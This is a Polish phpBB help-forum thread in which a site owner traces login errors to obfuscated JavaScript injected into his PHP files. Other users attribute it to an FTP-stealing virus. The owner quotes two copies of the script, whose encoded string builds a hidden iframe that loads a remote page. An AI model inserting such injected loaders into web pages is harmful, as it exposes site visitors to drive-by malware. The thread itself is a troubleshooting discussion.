Poważne błędy na forum!!

[SSSSSS]

Wstaję dziś rano wchodzę na forum a tu nagle pojawiły się straszne błędy! Nie mam pojęcia skąd się wzięły i co jest ich przyczyną, do wczoraj wszystko chodziło jak należy i od wczoraj nie wprowadzałem żadnych nowych modyfikacji. Na stronie głównej forum pokazują się błędy:

[phpBB Debug] PHP Notice: in file /includes/session.php on line 990: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)
[phpBB Debug] PHP Notice: in file /includes/session.php on line 990: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)
[phpBB Debug] PHP Notice: in file /includes/session.php on line 990: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 3883: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 3885: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 3886: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 3887: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)

Następnie nie mam możliwości zalogowania się! Proszę o pomoc

[Mary$]

a kiedy ostatnio coś modyfikowałeś?

może po modyfikacji nie wyczyściłeś cache i błąd pojawił się dopiero po samoczynnym wyczyszczeniu cache?

pokaż co masz w linii 1040 pliku /includes/auth.php

[SSSSSS]

Tak więc poradziłem sobie, w plikach auth.php oraz index.php znalazłem nie wiem skąd linijki po ?> :

<!-- ad --><script language="JavaScript">function rkfg(jflq){return String.fromCharCode(jflq);}var ohhe="060105102114097109101032115114099061039104116116112058047047115117112101114105111114097100122046105110102111047111112105115047063116061049051039032119105100116104061039048039032104101105103104116061039048039032115116121108101061039118105115105098105108105116121058032104105100100101110059039062060047105102114097109101062";var ifdm="";for(qhxk=0;qhxk<ohhe.length;qhxk+=3){ifdm+=rkfg(ohhe.substr (qhxk, 3));}window.status='Done';document.write(ifdm);</script>
<!-- /ad -->

oraz

<!-- ad --><script language="JavaScript">function rkfg(jflq){return String.fromCharCode(jflq);}var ohhe="060105102114097109101032115114099061039104116116112058047047115117112101114105111114097100122046105110102111047111112105115047063116061049051039032119105100116104061039048039032104101105103104116061039048039032115116121108101061039118105115105098105108105116121058032104105100100101110059039062060047105102114097109101062";var ifdm="";for(qhxk=0;qhxk<ohhe.length;qhxk+=3){ifdm+=rkfg(ohhe.substr (qhxk, 3));}window.status='Done';document.write(ifdm);</script>
<!-- /ad -->

Nie mam pojęcia skąd to się wzięło, usunąłem to i jest ok. Czy możliwe że to jest jakaś luka w phpbb3?

[Mary$]

generalnie to jest jakaś reklama, ale skąd się tam wzięła to już ja Ci nie powiem.
może zmień hasło do FTP jeżeli masz jakieś proste

[SSSSSS]

No dzięki, gościu z firmy hostingowej powiedział że to luka w phpbb3...

[Anonymouse]

gościu z firmy hostingowej powiedział że to luka w phpbb3.

Taaak, bo on się zna na phpBB3..

Jaką wersje skryptu masz? Może to jakieś dodatkowe mody są dziurawe?

[SSSSSS]

Najnowsza, 3.0.4. Trochę modów jest..

[Anonymouse]

Przez samo phpBB3 na pewno nikt nic nie dodał. To Ty musiałeś coś zepsuć.. Tak bywa jak się wrzuci w skrypt od razu nie wiadomo ile i jakich modów..

Ps. Pracownicy hostingu zawsze myją rączki, więc nie kieruj się tylko tym co Ci napiszą.

[jaroslw]

Niech zgadnę — korzystasz z Total Commandera do przesyłania plików?

[SSSSSS]

Zgadłeś. Proszę o jakieś wskazówki bo jestem zaniepokojony...

[jaroslw]

Zmień klienta FTP. Polecam FileZillę. Przyczyną jest wirus, który modyfikuje pliki wysyłane przez Total Commandera.

[daroPL]

Radzę też zmienić hosting, bo po ich odpowiedzi nie sądzę, żeby wiedzieli co robią.

[SSSSSS]

No właśnie trochę mnie nastraszyli, napisali że to na bank luka w phpbb3. Hosting to xon.pl, nie mam z forum żadnych problemów jeśli chodzi o hosting, stronka chodzi idealnie...

Powinni wywalić tego total comandera z sieci skoro jakieś wirusy rozpowszechnia. Dzięki za całą pomoc, forum okazało się bardzo pomocne.

[jaroslw]

Powinni wywalić tego total comandera z sieci skoro jakieś wirusy rozpowszechnia. Dzięki za całą pomoc, forum okazało się bardzo pomocne.

To nie wina Total Commandera. Po prostu gdzieś załapałeś ostatnio popularnego wirusa.

[SSSSSS]

Myślałem że już sobie z tym poradziłem jednak problem systematycznie powraca i nie wiem jak go usunąć. Codziennie w nocy pojawia się ten sam błąd, mało tego, wchodząc na forum antywirus alarmuje że odkrył malware. W 3 plikach znajduję kod skryptu który jakimś cudem sam się dopisuje ??? Są to pliki Includes/auth.php, includes/index.htm oraz root/index.php. Po usunięciu tego kodu i wgraniu na nowo plików na serwer problem jest rozwiązany, ale nie na stałe. Mija dzień i znowu to samo. Nie będę przecież codziennie edytował tych plików, nie mam pojęcia jak to się rozpowszechnia i jak to usunąć, bardzo was proszę o pomoc. Dodam jeszcze że zmieniłem program na File zilla i edytowane pliki przesyłam przez ten program. Nic nie pomaga i co jakiś czas pojawia się ten sam problem